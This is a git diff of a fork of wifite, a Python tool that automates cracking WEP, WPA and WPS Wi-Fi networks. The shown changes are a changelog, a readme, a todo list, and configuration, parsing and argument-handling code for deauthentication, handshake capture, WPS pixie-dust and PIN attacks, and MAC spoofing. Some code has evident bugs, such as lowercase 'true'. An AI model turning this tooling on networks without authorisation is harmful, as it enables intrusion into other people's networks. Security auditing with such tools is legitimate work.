diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..229373d --- /dev/null +++ b/.gitignore @@ -0,0 +1,5 @@ +*.csv +hs/* +wep/* +wpa/* +wps/* \ No newline at end of file diff --git a/changelog.md b/changelog.md new file mode 100644 index 0000000..755466a --- /dev/null +++ b/changelog.md @@ -0,0 +1,114 @@ +# Version 2.0 Rev 103 # +## WPA ## +- One minor bug in strip_handshake function fixed + +## WPS ## +- Rewrote part of Pixie-Dust function (*May have bugs) +- wash 1.5.2 is now supported +- Filter keywords "wps1" now means "targets with WPS enabled except locked", "wps2" means "targets with WPS enabled includes locked" + +## OTHERS ## +- Column width tuned +- WPS locked router is shown as "lock" instead of "yes" in "WPS" column when scanning state +- "--save" switch saves the cap file too (For checking WPS compability). + +# Version 2.0 Rev 102 # +- wifite now prompts for entering targets again if no targets is selected. +- Minor message tweak + +# Version 2.0 Rev 101 # +- Support to aircrack-ng 1.2-rc2 improved. + +# Version 2.0 Rev 100 # +- One typo fixed + +# Version 2.0 Rev 99 # +## WPS ## +- Partially merged the commit from derv82/wifite/commit/30dcc8d99223f8e5faa2f9fa62ab8f392b2d4c67 for WPS pixie dust attack +- WPS session is now saved by default (use '--wpsnosave' to override) +- Check the existence of Pixiewps + +## OTHERS ## +- MAC address anonymizing is enabled by default (use '--realmac' to override) + +# Version 2.0 Rev 98 # +## WPA ## +- Partially merged the commit from derv82/wifite/commit/edbdedd149254f58a99d2f53e5e9b8105c4c61bb (fix the bug in strip_handshake function) + +# Version 2.0 Rev 97 # +- One minor bug fixed + +# Version 2.0 Rev 96 # +- Support to aircrack-ng 1.2-rc2 improved. + +# Version 2.0 Rev 95 # +## WEP ## +- One bug fixed (Thanks Andrea from BackBox Linux) + +# Version 2.0 Rev 94 # +## WEP ## +- One typo fixed (Reported by Andrea from BackBox Linux) + +# Version 2.0 Rev 93 # +## WEP ## +- Behavior changes: Captured IVs during WEP attack will be saved to 'wep' folder under current directory by default, use "--wepnosave" to disable saving cap/ivs, "--wepsave" switch removed. +- Automatically count previously saved IV file when attacking WEP network. (*not very accurate, maybe duplicated IV in captured file?) +- More progress information (e.g. estimated finish time, additional IVs required) is shown when attacking WEP network. +- New switch "--wepsaveiv" to capture only IV packets (smaller file size) when attacking WEP network. +- Continue capturing if IVs are not enough to solve the key. + +## WPA ## +- WPA cracking using pyrit and cowpatty added, option to use hash file (*experimental*) added. + +## Network Interface ## +- Network functions clean up. Now more object-orientated. +- Switch "--mon-iface" removed, now wifite will determine automatically if the interface is already in monitor mode. Please use "-i" instead. + +## Others ## +- Fixed an error when analyzing .cap file. + +# Version 2.0 Rev 92 # +- Codes clean up, slighly more modular +- Update route improved +- Change default folder for WPA handshake from 'hs' to 'wpa', old folder will be renamed automatically + +# Version 2.0 Rev 91 # +- Fixed a bug which cause program exit if selecting targets using numbers +- New switch "--wpssave" to save the progress of WPS PIN attack (useful if you are running live CD and don't want to backup the file manually) +- Codes clean up + +# Version 2.0 Rev 90 # +- Fixed four typos +- Automatically find *phpbb.txt* as dictionary file instead of hard-coding the path + +# Version 2.0 Rev 89 # +- Minor message tweak +- I accidentally covert the last two releases to evil CRLF line ending, now move back to LF line ending. +- Modified --timeout/--attack/--scan switch: now "bBSSID+" means AP contains BSSID with associated client, same meaning for "eSSID+". + +# Version 2.0 Rev 88 # +- Tidy up message printing +- Modified "--timeout" switch for better flexibility in scanning state (e.g. "--timeout bBSSID,n\>30,600" means to timeout if target contains BSSID is found or total targets exceed 30, or after 10 minutes.) +- Prompt to install missing programs. +- Add "--debug" switch to print debug message. + +# Version 2.0 Rev 87 # +- Save/load decloaked hidden network. +- Save/load scanned network. +- Decloaking hidden networks without waiting. +- Add lots of filters (e.g. WPA+ for WPA network with clients, WPA1 for WPA network with one client, -p<20 to exclude network with power below 20dB etc). +- Timeout when scanning networks. +- List wireless AP in two columns +- List number of clients for each wireless AP, instead of just the word "CLIENT(S)" +- Max rows to show when scanning networks +- Tidy up the help page (e.g. separate the interface setting into new INTERFACE section) +- Default to skip network if WPA handshake file is found (can be override by --recapture) +- Tidy up message printing (*incomplete*) +- Fix a bug that show all APs has no client + +# Version 2.0 # + +The biggest change from version 1 is support for ["reaver"](http://reaver-wps.googlecode.com/), a Wifi-Protected Setup (WPS) attack tool. Reaver can compromise the PIN and PSK for many routers that have WPS enabled, usually within hours. + +Other changes include a complete code re-write with bug fixes and added stability. Due to problems with the Python Tkinter suite, the GUI has been left out of this latest version. + diff --git a/readme.md b/readme.md index 00b39a5..f496541 100644 --- a/readme.md +++ b/readme.md @@ -3,43 +3,47 @@ wifite An automated wireless attack tool. +Introduction +------------ -What's New? ------------ +wifite is a program automates attacking and cracking wireless access points protected by WEP, WPA with/without WPS. Traditionally it has to be done manually and involved numerous program with many parameters, which is very inconvenient for batch access points security auditing. This little python script saves your time by automatically attack chosen access points in batch. -The biggest change from version 1 is support for ["reaver"](http://reaver-wps.googlecode.com/), a Wifi-Protected Setup (WPS) attack tool. Reaver can compromise the PIN and PSK for many routers that have WPS enabled, usually within hours. +Installation +------------ -Other changes include a complete code re-write with bug fixes and added stability. Due to problems with the Python Tkinter suite, the GUI has been left out of this latest version. +To download and execute wifite, run the commands below: +`wget https://github.com/derv82/wifite/raw/master/wifite.py` (devr82's orginal version) or `wget https://github.com/brianpow/wifite/raw/master/wifite.py` (my fork) +`chmod +x wifite.py` +`./wifite.py` -About +Usage ----- -_Wifite is for Linux only._ -Wifite was designed for use with pentesting distributions of Linux, such as [Kali Linux](http://www.kali.org/), [Pentoo](http://www.pentoo.ch/), [BackBox](http://www.backbox.org); any Linux distributions with wireless drivers patched for injection. The script appears to also operate with Ubuntu 11/10, Debian 6, and Fedora 16. +``` +wifite.py --showb --attack all,-eMYWIFI,-wpa0,-wps2,wps1 --timeout 120,e,n\>50 --save ap --two +``` -Wifite must be run as __root__. This is required by the suite of programs it uses. Running downloaded scripts as root is a bad idea. I recommend using the Kali Linux bootable Live CD, a bootable USB stick (for persistent), or a virtual machine. Note that Virtual Machines cannot directly access hardware so a wireless USB dongle would be required. +Meaning: show BSSID when scanning; attack all APs excepts APs with name containing MYWIFI, exclude WPA APs without client, exclude both locked and WPS-enabled APs and include wps-enabled AP (i.e. remove WPS locked APs); Automatically attack APs after scanning for 120 seconds, or if hidden network is detected, or if total targets are more than 50; Save scanned APs into ap.csv and ap.cap; List APs in two columns. -Wifite assumes that you have a wireless card and the appropriate drivers that are patched for injection and promiscuous/monitor mode. +Requirement +----------- -Execution ---------- +### Mandatory Requirement ### -To download and execute wifite, run the commands below: +#### Hardware #### -`wget https://raw.github.com/derv82/wifite/master/wifite.py` -`chmod +x wifite.py` -`./wifite.py` +* Wireless card with supported driver for entering promiscuous/monitor mode and support packet injection (USB wireless dongle if you are running in virtual machine.) +#### Software #### -Required Programs ------------------ +Pentesting distributions of Linux, such as [Kali Linux](http://www.kali.org/), [Pentoo](http://www.pentoo.ch/), [BackBox](http://www.backbox.org) (Ubuntu 11/10, Debian 6, and Fedora 16 may work but not confirmed). -Please see [the installation guide](https://github.com/derv82/wifite/wiki/Installation) on the wiki for help installing any of the tools below. +Unless you are using very old distro of Linux, the following software should be pre-installed and available. Please see [the installation guide](https://github.com/derv82/wifite/wiki/Installation) on the wiki if you really need to install any of the tools below manually. -* [__Python 2.7.x__](http://python.org/getit/). Wifite is a Python script and requires Python to run. +* [__Python 2.7.x__](http://python.org/getit/). wifite is a Python script and requires Python to run. * [__aircrack-ng suite__](http://aircrack-ng.org/). This is absolutely required. The specific programs used in the suite are: @@ -52,23 +56,31 @@ Please see [the installation guide](https://github.com/derv82/wifite/wiki/Instal * Standard linux programs. * iwconfig, ifconfig, which, iw -Suggested Programs ------------------- +### Recommended Hardware/Software ### + +#### Hardware #### + +* Computer with NVIDIA or ATI display card (for accelerated cracking) + +#### Software #### _`*` indicates program is not included in [Backtrack 5 R1](http://www.backtrack-linux.org/)_ -* `*`[__reaver__](http://code.google.com/p/reaver-wps/), a Wifi-Protected Setup (WPS) attack tool. Reaver includes a scanner "walsh" (or "wash") for detecting WPS-enabled access points. Wifite uses Reaver to scan for and attack WPS-enabled routers. +* `*`[__reaver__](https://github.com/t6x/reaver-wps-fork-t6x), a Wifi-Protected Setup (WPS) attack tool. Reaver includes a scanner "walsh" (or "wash") for detecting WPS-enabled access points. wifite uses Reaver to scan for and attack WPS-enabled routers. -* `*`[__pyrit__](http://code.google.com/p/pyrit/), a GPU cracker for WPA PSK keys. Wifite uses pyrit (if found) to detect handshakes. In the future, Wifite may include an option to crack WPA handshakes via pyrit. +* `*`[__pyrit__](http://code.google.com/p/pyrit/), a GPU cracker for WPA PSK keys. Wifite uses pyrit (if found) to detect handshakes. * __tshark__. Comes bundled with [Wireshark](http://www.wireshark.org/), packet sniffing software. * [__cowpatty__](http://www.willhackforsushi.com/Cowpatty.html), a WPA PSK key cracker. Wifite uses cowpatty (if found) to detect handshakes. +#### Others #### + +* Rainbow table (for accelerated cracking) Licensing --------- -Wifite is licensed under the GNU General Public License version 2 (GNU GPL v2). +wifite is licensed under the GNU General Public License version 2 (GNU GPL v2). -(C) 2010-2012 Derv Merkler +(C) 2010-2015 Derv Merkler diff --git a/todo.md b/todo.md new file mode 100644 index 0000000..780ea1b --- /dev/null +++ b/todo.md @@ -0,0 +1,25 @@ +# GENERAL # +* Restore same command-line switch names from v1 +* If device already in monitor mode, check for and, if applicable, use macchanger +* More comments on code +* Attack all targets simultaneously? + +# WPS # +* Mention reaver automatically resumes sessions +* Show time since last successful attempt +* Percentage of tries/attempts ? +* Update code to work with reaver 1.4 ("x" sec/att) +* Save reaver.db? + +# reaver # +* MONITOR ACTIVITY! +* Enter ESSID when executing (?) +* Ensure WPS key attempts have begun. +* If no attempts can be made, stop attack + - During attack, if no attempts are made within X minutes, stop attack & Print + - Reaver's output when unable to associate: + [!] WARNING: Failed to associate with AA:BB:CC:DD:EE:FF (ESSID: ABCDEF) + - If failed to associate for x minutes, stop attack (same as no attempts?) + +# MIGHTDO # +* Test injection at startup? (skippable via command-line switch) diff --git a/wifite.py b/wifite.py index 6d00564..6c18730 100755 --- a/wifite.py +++ b/wifite.py @@ -8,6 +8,7 @@ author: derv82 at gmail author: bwall @botnet_hunter (ballastsec@gmail.com) author: drone @dronesec (ballastsec@gmail.com) + author: brianpow at gmail Thanks to everyone that contributed to this project. If you helped in the past and want your name here, shoot me an email @@ -15,58 +16,7 @@ Licensed under the GNU General Public License Version 2 (GNU GPL v2), available at: http://www.gnu.org/licenses/gpl-2.0.txt - (C) 2011 Derv Merkler - - Ballast Security additions - ----------------- - - No longer requires to be root to run -cracked - - cracked.txt changed to cracked.csv and stored in csv format(easier to read, no \x00s) - - Backwards compatibility - - Made a run configuration class to handle globals - - Added -recrack (shows already cracked APs in the possible targets, otherwise hides them) - - Changed the updater to grab files from GitHub and not Google Code - - Use argparse to parse command-line arguments - - -wepca flag now properly initialized if passed through CLI - - parse_csv uses python csv library - ----------------- - - - TODO: - - Restore same command-line switch names from v1 - - If device already in monitor mode, check for and, if applicable, use macchanger - - WPS - * Mention reaver automatically resumes sessions - * Warning about length of time required for WPS attack (*hours*) - * Show time since last successful attempt - * Percentage of tries/attempts ? - * Update code to work with reaver 1.4 ("x" sec/att) - - WEP: - * ability to pause/skip/continue (done, not tested) - * Option to capture only IVS packets (uses --output-format ivs,csv) - - not compatible on older aircrack-ng's. - - Just run "airodump-ng --output-format ivs,csv", "No interface specified" = works - - would cut down on size of saved .caps - - reaver: - MONITOR ACTIVITY! - - Enter ESSID when executing (?) - - Ensure WPS key attempts have begun. - - If no attempts can be made, stop attack - - - During attack, if no attempts are made within X minutes, stop attack & Print - - - Reaver's output when unable to associate: - [!] WARNING: Failed to associate with AA:BB:CC:DD:EE:FF (ESSID: ABCDEF) - - If failed to associate for x minutes, stop attack (same as no attempts?) - - MIGHTDO: - * WPA - crack (pyrit/cowpatty) (not really important) - * Test injection at startup? (skippable via command-line switch) - + (C) 2011-2015 Derv Merkler """ # ############ @@ -78,6 +28,7 @@ import time # Measuring attack intervals import random # Generating a random MAC address. import errno # Error numbers +import math from sys import argv # Command-line arguments from sys import stdout # Flushing @@ -92,7 +43,7 @@ import argparse # arg parsing import urllib # Check for new versions from the repo import abc # abstract base class libraries for attack templates - +import glob ################################ # GLOBAL VARIABLES IN ALL CAPS # @@ -113,6 +64,7 @@ ERRLOG = open(os.devnull, 'w') OUTLOG = open(os.devnull, 'w') +UPDATE_URLS=["https://github.com/derv82/wifite/raw/master/wifite.py","https://github.com/brianpow/wifite/raw/master/wifite.py"] ################### # DATA STRUCTURES # ################### @@ -123,37 +75,127 @@ class CapFile: Holds data about an access point's .cap file, including AP's ESSID & BSSID. """ - def __init__(self, filename, ssid, bssid): + def __init__(self, filename, ssid = "", bssid= ""): self.filename = filename self.ssid = ssid self.bssid = bssid + if ssid == "" and bssid == "": + #Guess bssid from filename + if re.match(".*(([A-Za-z0-9]{2}-){5}[A-Za-z0-9]{2}).*",filename): + matches=re.match(".*(([A-Za-z0-9]{2}-){5}[A-Za-z0-9]{2}).*",filename) + results= matches.groups() + bssid =results[0].replace("-",":") + if ssid == "" and bssid != "": + self.ssid=self.get_ssid(bssid) + if bssid == "" and ssid != "": + self.bssid=self.get_bssid(ssid) + + + def get_ssid(self,bssid): + """ + Attempts to get ESSID from cap file using BSSID as reference. + Returns '' if not found. + """ + if not file_search('tshark'): return '' + + cmd = ['tshark', + '-r', self.filename, + '-R', 'wlan.fc.type_subtype == 0x05 && wlan.sa == %s' % bssid, + '-n'] + proc = Popen(cmd, stdout=PIPE, stderr=DN) + proc.wait() + for line in proc.communicate()[0].split('\n'): + if line.find('SSID=') != -1: + essid = line[line.find('SSID=') + 5:] + println_info('guessed essid: %s' % (G + essid + W)) + return essid + println_error('unable to guess essid!') + return '' + + def get_bssid(self,essid): + """ + Returns first BSSID of access point found in cap file. + This is not accurate at all, but it's a good guess. + Returns '' if not found. + """ + global RUN_CONFIG + capfile=self.filename + if not file_search('tshark'): return '' + + # Attempt to get BSSID based on ESSID + if essid != '': + cmd = ['tshark', + '-r', capfile, + '-R', 'wlan_mgt.ssid == "%s" && wlan.fc.type_subtype == 0x05' % (essid), + '-n', # Do not resolve MAC vendor names + '-T', 'fields', # Only display certain fields + '-e', 'wlan.sa'] # souce MAC address + proc = Popen(cmd, stdout=PIPE, stderr=DN) + proc.wait() + bssid = proc.communicate()[0].split('\n')[0] + if bssid != '': return bssid + + cmd = ['tshark', + '-r', capfile, + '-R', 'eapol', + '-n'] + proc = Popen(cmd, stdout=PIPE, stderr=DN) + proc.wait() + for line in proc.communicate()[0].split('\n'): + if line.endswith('Key (msg 1/4)') or line.endswith('Key (msg 3/4)'): + while line.startswith(' ') or line.startswith('\t'): line = line[1:] + line = line.replace('\t', ' ') + while line.find(' ') != -1: line = line.replace(' ', ' ') + return line.split(' ')[2] + elif line.endswith('Key (msg 2/4)') or line.endswith('Key (msg 4/4)'): + while line.startswith(' ') or line.startswith('\t'): line = line[1:] + line = line.replace('\t', ' ') + while line.find(' ') != -1: line = line.replace(' ', ' ') + return line.split(' ')[4] + return '' + class Target: """ Holds data for a Target (aka Access Point aka Router) """ - def __init__(self, bssid, power, data, channel, encryption, ssid): + def __init__(self, bssid, power, data, channel, encryption, ssid, wps = False, key="", wps_locked = False): self.bssid = bssid - self.power = power + self.power = int(power) self.data = data self.channel = channel self.encryption = encryption self.ssid = ssid - self.wps = False # Default to non-WPS-enabled router. - self.key = '' - - + self.wps = wps # Default to non-WPS-enabled router. + self.wps_locked= wps_locked + self.key = key + def __str__(self): + return re.sub(r'[^a-zA-Z0-9]', '', self.ssid) \ + + '_' + self.bssid.replace(':', '-') + '_' + self.encryption.lower() + def equal(self,target): + #if target is + if target.bssid == self.bssid: + return True + def find_clients(self, clients): + associated_clients=[] + for client in clients: + if client.station == self.bssid: + associated_clients.append(client) + return associated_clients + def count_clients(self, clients): + return len(self.find_clients(clients)) class Client: """ Holds data for a Client (device connected to Access Point/Router) """ - def __init__(self, bssid, station, power): + def __init__(self, bssid, station, power, essid = ""): self.bssid = bssid self.station = station self.power = power + self.essid = essid class RunConfiguration: @@ -162,27 +204,51 @@ class RunConfiguration: """ def __init__(self): - self.REVISION = 86; + self.REVISION = 103; self.PRINTED_SCANNING = False - + + #INTERFACE self.TX_POWER = 0 # Transmit power for wireless interface, 0 uses default power - + self.IFACE_TO_TAKE_DOWN = None # Interface that wifite puts into monitor mode + # It's our job to put it out of monitor mode after the attacks + #self.ORIGINAL_IFACE_MAC = ('', '') # Original interface name[0] and MAC address[1] (before spoofing) + #self.THIS_MAC = '' # The interfaces current MAC address. + self.WIRELESS_IFACE = '' # User-defined interface + #self.MONITOR_IFACE = '' # User-defined interface already in monitor mode + #TARGET + self.SCAN_FILE_LOAD="" + self.SCAN_FILE_SAVE="" + self.SHOW_TARGET="" + self.ATTACK_TARGET="" + self.SCAN_TIMEOUT=0 + self.COLUMN = 1 # Numbers of columns in scanning state + self.SPACING = 1 # Spacing between Columns + self.SCAN_MAX_ROW_SHOW = 0 + self.SCAN_DEAUTH_TIMEOUT = 10 # WPA variables - self.WPA_DISABLE = False # Flag to skip WPA handshake capture + #self.WPA_DISABLE = False # Flag to skip WPA handshake capture + self.WPA_ATTACK_DISABLE=False self.WPA_STRIP_HANDSHAKE = True # Use pyrit or tshark (if applicable) to strip handshake self.WPA_DEAUTH_COUNT = 5 # Count to send deauthentication packets self.WPA_DEAUTH_TIMEOUT = 10 # Time to wait between deauthentication bursts (in seconds) self.WPA_ATTACK_TIMEOUT = 500 # Total time to allow for a handshake attack (in seconds) self.WPA_HANDSHAKE_DIR = 'hs' # Directory in which handshakes .cap files are stored - # Strip file path separator if needed - if self.WPA_HANDSHAKE_DIR != '' and self.WPA_HANDSHAKE_DIR[-1] == os.sep: - self.WPA_HANDSHAKE_DIR = self.WPA_HANDSHAKE_DIR[:-1] - + + # Move old hs folder to wpa folder + if not os.path.exists(self.WPA_HANDSHAKE_DIR): + self.WPA_HANDSHAKE_DIR='wpa' + elif not os.path.exists('wpa'): + call(['mv',self.WPA_HANDSHAKE_DIR,'wpa']) + self.WPA_HANDSHAKE_DIR=add_slash('wpa') + + self.WPA_RECAPTURE_HS=False self.WPA_FINDINGS = [] # List of strings containing info on successful WPA attacks - self.WPA_DONT_CRACK = False # Flag to skip cracking of handshakes + self.WPA_CRACK = 0 # Flag to skip cracking of handshakes self.WPA_DICTIONARY = '/pentest/web/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt' - if not os.path.exists(self.WPA_DICTIONARY): self.WPA_DICTIONARY = '' + if not os.path.exists(self.WPA_DICTIONARY): self.WPA_DICTIONARY = '' + + self.WPA_HASH="" # Various programs to use when checking for a four-way handshake. # True means the program must find a valid handshake in order for wifite to recognize a handshake. # Not finding handshake short circuits result (ALL 'True' programs must find handshake) @@ -192,7 +258,9 @@ def __init__(self): self.WPA_HANDSHAKE_COWPATTY = False # Uses more lenient "nonstrict mode" (-2) # WEP variables - self.WEP_DISABLE = False # Flag for ignoring WEP networks + #self.WEP_DISABLE = False # Flag for ignoring WEP networks + self.WEP_IVS_DIR = add_slash('wep') # Directory in which WEP IVS files are stored + self.WEP_PPS = 600 # packets per second (Tx rate) self.WEP_TIMEOUT = 600 # Amount of time to give each attack self.WEP_ARP_REPLAY = True # Various WEP-based attacks via aireplay-ng @@ -204,36 +272,40 @@ def __init__(self): self.WEP_CRACK_AT_IVS = 10000 # Number of IVS at which we start cracking self.WEP_IGNORE_FAKEAUTH = True # When True, continues attack despite fake authentication failure self.WEP_FINDINGS = [] # List of strings containing info on successful WEP attacks. - self.WEP_SAVE = False # Save packets. + self.WEP_SAVE = True # Save packets. + self.WEP_SAVE_IV = False # Save packets. # WPS variables - self.WPS_DISABLE = False # Flag to skip WPS scan and attacks + self.WPS_CHECK_DISABLE = False # Flag to skip WPS scan + self.WPS_PIN_ATTACK_DISABLE=False + self.WPS_DUST_ATTACK_DISABLE=False self.WPS_FINDINGS = [] # List of (successful) results of WPS attacks self.WPS_TIMEOUT = 660 # Time to wait (in seconds) for successful PIN attempt self.WPS_RATIO_THRESHOLD = 0.01 # Lowest percentage of tries/attempts allowed (where tries > 0) self.WPS_MAX_RETRIES = 0 # Number of times to re-try the same pin before giving up completely. - - + self.WPS_SESSION_DIR = add_slash('wps') # Directory in which handshakes .cap files are stored + self.WPS_SAVE = True + # Program variables self.SHOW_ALREADY_CRACKED = False # Says whether to show already cracked APs as options to crack - self.WIRELESS_IFACE = '' # User-defined interface - self.MONITOR_IFACE = '' # User-defined interface already in monitor mode self.TARGET_CHANNEL = 0 # User-defined channel to scan on self.TARGET_ESSID = '' # User-defined ESSID of specific target to attack self.TARGET_BSSID = '' # User-defined BSSID of specific target to attack - self.IFACE_TO_TAKE_DOWN = '' # Interface that wifite puts into monitor mode - # It's our job to put it out of monitor mode after the attacks - self.ORIGINAL_IFACE_MAC = ('', '') # Original interface name[0] and MAC address[1] (before spoofing) - self.DO_NOT_CHANGE_MAC = True # Flag for disabling MAC anonymizer + + self.DO_NOT_CHANGE_MAC = False # Flag for disabling MAC anonymizer self.TARGETS_REMAINING = 0 # Number of access points remaining to attack self.WPA_CAPS_TO_CRACK = [] # list of .cap files to crack (full of CapFile objects) - self.THIS_MAC = '' # The interfaces current MAC address. + self.SHOW_MAC_IN_SCAN = False # Display MACs of the SSIDs in the list of targets self.CRACKED_TARGETS = [] # List of targets we have already cracked - self.ATTACK_ALL_TARGETS = False # Flag for when we want to attack *everyone* - self.ATTACK_MIN_POWER = 0 # Minimum power (dB) for access point to be considered a target + self.CRACKED_RECORD="cracked.csv" + self.DECLOAKED_RECORD="decloaked.csv" + #self.ATTACK_ALL_TARGETS = False # Flag for when we want to attack *everyone* + #self.ATTACK_MIN_POWER = 0 # Minimum power (dB) for access point to be considered a target self.VERBOSE_APS = True # Print access points as they appear self.CRACKED_TARGETS = self.load_cracked() + self.DECLOAKED_TARGETS = self.load_decloaked() + self.DEBUG = False old_cracked = self.load_old_cracked() if len(old_cracked) > 0: # Merge the results @@ -247,47 +319,73 @@ def __init__(self): # Add and save to disk if new: self.save_cracked(OC) - + self.temp = "" def ConfirmRunningAsRoot(self): if os.getuid() != 0: - print R + ' [!]' + O + ' ERROR:' + G + ' wifite' + O + ' must be run as ' + R + 'root' + W - print R + ' [!]' + O + ' login as root (' + W + 'su root' + O + ') or try ' + W + 'sudo ./wifite.py' + W + println_error('ERROR:' + G + ' wifite' + O + ' must be run as ' + R + 'root') + println_error('login as root (' + W + 'su root' + O + ') or try ' + W + 'sudo ./wifite.py') exit(1) def ConfirmCorrectPlatform(self): - if not os.uname()[0].startswith("Linux") and not 'Darwin' in os.uname()[0]: # OSX support, 'cause why not? - print O + ' [!]' + R + ' WARNING:' + G + ' wifite' + W + ' must be run on ' + O + 'linux' + W + if not 'uname' in dir(os) or not os.uname()[0].startswith("Linux") and not 'Darwin' in os.uname()[0]: # OSX support, 'cause why not? + println_error(G + ' wifite' + W + ' must be run on ' + O + 'linux' + W) exit(1) def CreateTempFolder(self): from tempfile import mkdtemp - self.temp = mkdtemp(prefix='wifite') + self.temp = mkdtemp(prefix='wifite' + str(time.time())) if not self.temp.endswith(os.sep): self.temp += os.sep - + println_info("temp folder %s" % self.temp) + def load_decloaked(self): + result = [] + filename=self.DECLOAKED_RECORD + if not os.path.exists(filename): return result + with open(filename, 'rb') as csvfile: + targetreader = csv.reader(csvfile, delimiter=',', quotechar='"') + for i,target in enumerate(targetreader): + if i != 0 or target[0] != "SSID": + # bssid, power, data, channel, encryption, ssid, wps = False, key=""): + result.append(Target(target[1],0,0,target[2],target[3],target[0],bool(target[4]))) + return result + def save_decloaked(self, target): + self.DECLOAKED_TARGETS.append(target) + filename = self.DECLOAKED_RECORD + with open(filename, 'wb') as csvfile: + targetwriter = csv.writer(csvfile, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL) + try: + targetwriter.writerow(["SSID", "BSSID", "Channel", "Encryption", "WPS?", "Create Date"]) + for target in self.DECLOAKED_TARGETS: + targetwriter.writerow([target.ssid, target.bssid, target.channel, target.encryption, target.wps, time.strftime("%Y-%m-%d %H:%M:%S")]) + except: + println_error("unable to save decloaked target to %s!" % G + filename + W) + pass def save_cracked(self, target): """ Saves cracked access point key and info to a file. """ self.CRACKED_TARGETS.append(target) - with open('cracked.csv', 'wb') as csvfile: + filename = self.CRACKED_RECORD + with open(filename, 'wb') as csvfile: targetwriter = csv.writer(csvfile, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL) - for target in self.CRACKED_TARGETS: - targetwriter.writerow([target.bssid, target.encryption, target.ssid, target.key, target.wps]) - + try: + for target in self.CRACKED_TARGETS: + targetwriter.writerow([target.bssid, target.encryption, target.ssid, target.key, target.wps]) + except: + println_error("unable to save cracked target to %s!" % G + filename + W) + pass def load_cracked(self): """ Loads info about cracked access points into list, returns list. """ result = [] - if not os.path.exists('cracked.csv'): return result - with open('cracked.csv', 'rb') as csvfile: + filename=self.CRACKED_RECORD + if not os.path.exists(filename): return result + with open(filename, 'rb') as csvfile: targetreader = csv.reader(csvfile, delimiter=',', quotechar='"') for row in targetreader: - t = Target(row[0], 0, 0, 0, row[1], row[2]) - t.key = row[3] - t.wps = row[4] + t = Target(row[0], 0, 0, 0, row[1], row[2], row[4],row[3]) result.append(t) return result @@ -310,7 +408,11 @@ def load_old_cracked(self): tar.key = fields[2] result.append(tar) return result - + def temp_clean_up(self): + if self.temp != "" and os.path.exists(self.temp): + for f in os.listdir(self.temp): + os.remove(self.temp + f) + os.rmdir(self.temp) def exit_gracefully(self, code=0): """ We may exit the program at any time. @@ -318,15 +420,20 @@ def exit_gracefully(self, code=0): Removes the temp files/folder and exists with error code "code". """ # Remove temp files and folder - if os.path.exists(self.temp): - for f in os.listdir(self.temp): - os.remove(self.temp + f) - os.rmdir(self.temp) - # Disable monitor mode if enabled by us - self.RUN_ENGINE.disable_monitor_mode() - # Change MAC address back if spoofed - mac_change_back() - print GR + " [+]" + W + " quitting" # wifite will now exit" + + self.temp_clean_up() + + # Disable monitor mode if enabled by us + if self.IFACE_TO_TAKE_DOWN: + print GR + ' [+]' + W + ' disabling monitor mode on %s...' % (G + self.IFACE_TO_TAKE_DOWN.iface + W), + stdout.flush() + self.IFACE_TO_TAKE_DOWN.disable_monitor_mode() + print 'done' + + # Change MAC address back if spoofed + self.IFACE_TO_TAKE_DOWN.set_real_mac() + + println_info("quitting") # wifite will now exit" print '' # GTFO exit(code) @@ -335,121 +442,179 @@ def handle_args(self): """ Handles command-line arguments, sets global variables. """ - set_encrypt = False + #set_encrypt = False set_hscheck = False set_wep = False capfile = '' # Filename of .cap file to analyze for handshakes opt_parser = self.build_opt_parser() options = opt_parser.parse_args() - + try: + ''' if not set_encrypt and (options.wpa or options.wep or options.wps): self.WPS_DISABLE = True self.WPA_DISABLE = True self.WEP_DISABLE = True set_encrypt = True + ''' if options.recrack: self.SHOW_ALREADY_CRACKED = True - print GR + ' [+]' + W + ' including already cracked networks in targets.' + println_info('including already cracked networks in targets.') + if options.timeout != None: + if options.timeout.isdigit(): + if int(options.timeout.isdigit())>=0: + self.SCAN_TIMEOUT=options.timeout + else: + println_error('invalid timeout value %s' % (G + str(options.timeout) + W)) + + #println_info('criteria to stop scanning state: ' + G + str(options.timeout) + W) + else: + self.SCAN_TIMEOUT=options.timeout + #println_error('invalid timeout value %s' % (G + str(options.timeout) + W)) + if options.load != None: + self.SCAN_FILE_LOAD=options.load + if options.save != None: + self.SCAN_FILE_SAVE=options.save + if options.show: + self.SHOW_TARGET=options.show + println_info('filter targets in scanning state: ' + G + options.show) + if options.scan_max_row_show > 0: + self.SCAN_MAX_ROW_SHOW = options.scan_max_row_show + println_info('max rows of targets to show in scanning state: ' + G + str(options.scan_max_row_show)) + if options.attack: + self.ATTACK_TARGET=options.attack if options.wpa: + if self.SHOW_TARGET != "": self.SHOW_TARGET + "," + self.SHOW_TARGET+="wpa" + #if self.ATTACK_TARGET != "": self.ATTACK_TARGET + "," + #self.ATTACK_TARGET+="wpa" + #if options.wps: if options.wps: - print GR + ' [+]' + W + ' targeting ' + G + 'WPA' + W + ' encrypted networks.' + println_info('showing ' + G + 'WPA' + W + ' encrypted networks.') else: - print GR + ' [+]' + W + ' targeting ' + G + 'WPA' + W + ' encrypted networks (use ' + G + '-wps' + W + ' for WPS scan)' - self.WPA_DISABLE = False + println_info('showing ' + G + 'WPA' + W + ' encrypted networks (use ' + G + '--wps' + W + ' for WPS scan)') + self.WPS_DUST_ATTACK_DISABLE=true + self.WPS_PIN_ATTACK_DISABLE=true + #self.WPA_ATTACK_DISABLE = False + self.WPA_RECAPTURE_HS = options.recapture if options.wep: - print GR + ' [+]' + W + ' targeting ' + G + 'WEP' + W + ' encrypted networks' - self.WEP_DISABLE = False + if self.SHOW_TARGET != "": self.SHOW_TARGET + "," + self.SHOW_TARGET+="wep" + #if self.ATTACK_TARGET != "": self.ATTACK_TARGET + "," + #self.ATTACK_TARGET+="wep" + println_info('showing ' + G + 'WEP' + W + ' encrypted networks') + #self.WEP_DISABLE = False if options.wps: - print GR + ' [+]' + W + ' targeting ' + G + 'WPS-enabled' + W + ' networks.' - self.WPS_DISABLE = False + if self.SHOW_TARGET != "": self.SHOW_TARGET + "," + self.SHOW_TARGET="wps" + #if self.ATTACK_TARGET != "": self.ATTACK_TARGET + "," + #self.ATTACK_TARGET="wps" + if not options.wpa: + self.WPA_ATTACK_DISABLE = true + println_info('showing ' + G + 'WPS-enabled' + W + ' networks.') + #self.WPS_CHECK_DISABLE = False + #self.WPS_ATTACK_DISABLE = False + if options.nowps: + 